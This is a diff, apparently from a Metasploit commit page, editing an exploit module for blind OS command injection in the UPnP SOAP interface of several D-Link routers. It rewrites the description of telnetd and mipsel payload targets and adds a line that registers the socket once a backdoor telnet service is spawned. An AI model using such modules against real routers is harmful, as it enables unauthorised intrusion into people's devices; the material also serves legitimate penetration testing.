@@ -18,18 +18,15 @@ class Metasploit3 < Msf::Exploit::Remote
18
18
19
19
def initialize ( info = { } )
20
20
super ( update_info ( info ,
21
- 'Name' => 'D-Link UPnP SOAP Command Execution' ,
21
+ 'Name' => 'D-Link Devices UPnP SOAP Command Execution' ,
22
22
'Description' => %q{
23
- Different DLink Routers are vulnerable to OS Command injection in the UPnP
24
- SOAP interface.
25
- Not every device includes wget which we need for deploying our payload.
26
- On such devices you could use the telnet target for starting a telnet server or the
27
- cmd generic payload and try to start telnetd or execute other commands. Since it is
28
- a blind OS command injection vulnerability, there is no output for the executed
29
- command when using the cmd generic payload. A ping command against a controlled
30
- system could be used for testing purposes. This module has been tested successfully
31
- on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865.
32
- It looks like that there are some more D-Link devices affected.
23
+ Different DLink Routers are vulnerable to OS Command injection in the UPnP SOAP
24
+ interface. Since it is a blind OS command injection vulnerability, there is no
25
+ output for the executed command when using the CMD target. Additionally, two targets
26
+ are included, to start a telnetd service and finally a session over it, or deploy a
27
+ native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
28
+ DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, there could
29
+ be more D-Link devices affected.
33
30
} ,
34
31
'Author' =>
35
32
[
@@ -139,6 +136,7 @@ def exploit_telnet
139
136
140
137
if sock
141
138
print_good ( "#{ rhost } :#{ rport } - Backdoor service has been spawned, handling..." )
139
+ add_socket ( sock )
142
140
else
143
141
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
144
142
end
0 commit comments